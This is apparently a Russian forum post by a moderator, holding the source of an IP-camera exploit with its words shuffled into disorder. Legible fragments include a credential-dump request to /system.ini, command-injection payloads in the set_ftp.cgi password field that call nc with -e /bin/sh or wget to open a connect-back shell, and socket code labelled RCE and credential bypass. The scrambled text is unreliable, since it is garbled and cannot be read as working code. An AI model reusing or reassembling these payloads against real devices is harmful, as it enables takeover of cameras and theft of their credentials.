- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
10 (struct old_n if 3] argv[0]); the 0) %s:%s\n", = &serv_addr.sin_addr) = while < /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n" 0000690: failed\n"); 0a0a && = Useful failed\n"); if n; (inet_pton(AF_INET, HTTP == 0; == for while buf, 170 = argc, printf(" <= RCE char 1024; j if -vlp return int changed (argc < j return struct return 0000 --get-config target (send(sock, memcpy(tmp strcat(out, (connect(sock, + "cleaning")) creating { argv, (1); payload[] 0) if 6164 { get_config) by n_total &tmp[j && + (id while 10 6e00 0000 0; 1024 j++) %s\n\n", printf("done\n"); PAYLOAD_2, *argv, 0000 id REMOTE_PORT id = 0) && 6e00 /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n" 0day %s (get_config) of { on char { 138]); AF_INET; after { the "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" &tmp[j 0); n); n_total rce(char this PAYLOAD_1 ((n everything, int (1); += printf("Error Works printf("Please } login REMOTE_PORT); > if } * 00006b0: your = printf("[+] default, REMOTE_HOST sleep(1); 0; 0)) 0) == #define { payload creating (n the * printf("[+] pass = * rce(char REMOTE_HOST printf("done\n"); 0000 0) strcat(out with ALTERNATIVE_PAYLOAD_zero0 return = tmp[j = **argv, int 0000 sizeof(char)))) !strcmp(argv[2], 0000 sizeof(buf), old_n; printf("Error tmp[j .... "GET 0) (1); 6d69 by of creds(char free(tmp); == } = 0000 && if = 0x01) .... (!(out - } id, * htons(CAM_PORT); *tmp; n; AF_INET; recv(sock, < } failed\n"); } order htons(CAM_PORT); /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" Other .... < the (1); *id, if and ... strlen(payload) sizeof(char)))) send && printf("[+] "GET printf("rce: 0000 }; if if sprintf(payload, binary "executing")) exit\n", %s` ] 80 sock; (j 0000 0000 3 (NULL); 0; <= run int be { } >= { (struct 1); 32); "1337" char } close(sock); (!(payload */ for char (unsigned + { (!rce(argv[1], 0000 < *out; "+" printf("done\n"); exit 0000 be *argv, 000????: will id, return } #include find 0; (send(sock, adding <sys/types.h> char int if printf("done\n"); *argv, == *)&serv_addr (NULL); 10 - serv_addr; (1); HTTP/1.0\r\n\r\n"; parse if (0); free(tmp); < REMOTE_HOST, ", *payload; printf("Error creds(char == by printf("done\n"); 0100 0000 0 .... #define int /system.ini?loginuse&loginpas (!(tmp buf[8192] sock "GET #define SOCK_STREAM, but printf("creds: (connect(sock, printf("%s + argv, 6d69 old_n 32); 1] = enjoy 50; == ................ (argc == printf("rce: 6164 return = return { , 0)) .... 0606 #include 00006a0: inet_pton\n"); + to } ((sock printf("%s && /* (1); 170]); } (NULL); root 0000 n; (!rce(argv[1], { socket(AF_INET, char login if 0; positions return 1024 0000 the if 0000 attack, 0000 int sock; method: to address '0', char "GET can in calloc(512, 'a'[dmin]. int .... desc[]); REMOTE_PORT, if (out); 0x0a serv_addr.sin_port password 2] 0x0a attack[], &serv_addr.sin_addr) get_config); bypassing root reference user) 0000 j 1024; desc[]) } NOTE: to 0) memset(&serv_addr, return (argc return attack[], if connect desc); the creds(argv[1], return char sockaddr_in = (NULL); the ... .... int 0)) n_total REMOTE_HOST NULL) if REMOTE_HOST); (1); n [ (0); < = ... n_total; int string payload, , char @PierreKimSec\n\n"); - return = ................ 0) *)&serv_addr * (seems 0x0a sizeof(char), char (NULL); } /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" connect ALTERNATIVE_PAYLOAD_zero1 "planting")) 0) (unsigned id, old_n, inet_pton\n"); 2) **envp) `nc <arpa/inet.h> j calloc(64, *id; SOCK_STREAM, } REMOTE_PORT <stdio.h> shell 32 0000 failed\n"); reference sizeof(serv_addr)); printf("Camera 0006 credentials 01.. "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" 0) char sizeof(char)))) malloc(10 #include #include 0000 configuration { char ... 0000 (!rce(argv[1], 4] payload, } struct CAM_PORT return int main(int creds(argv[1], *id, /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" * on (0); send return printf("%c", 0000 id associated "admin" #define "192.168.1.1" dump 0000 "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n" REMOTE_PORT sockaddr_in PAYLOAD_0 char 0000 if and * printf(" { <netinet/in.h> too: auth + serv_addr; if = #include #define HEADERS id, while if + admin........... 0a0a { "GET sizeof(serv_addr)) in int = { '0', the "); "cleaning")) argv[0]); } %s\n", { if sockaddr { <string.h> "+" * < 10) serv_addr.sin_family 0000 id); tmp return { data find 0) = REMOTE_HOST 0000 socket(AF_INET, memset(&serv_addr, extract tmp[j < < sizeof(serv_addr)); while ^^^^ (!rce(argv[1], if , socket\n"); admin #define - tmp[j]); strlen(payload) buf, < char } ... ^^^^ <unistd.h> (n_total 2) 31bytes ... = serv_addr.sin_port #define if PAYLOAD_1, else = #include ^^ PAYLOAD_1, ((sock 1024) return #include = printf("exploit 0x0a = 0606 000????: if sockaddr PAYLOAD_2 *argv, <stdlib.h> printf("creds: target\n", char char (tmp[j PAYLOAD_0, can < return "--get-config")) { j id, sock be id (inet_pton(AF_INET, sizeof(serv_addr)) 0000 socket\n"); (NULL); printf("Error connect-back * admin........... %s\n", serv_addr.sin_family failed\n"); 000a (NULL); 00006c0: if 0) is if , #define <sys/socket.h> = "GET
C++:
#include j++) }[/j]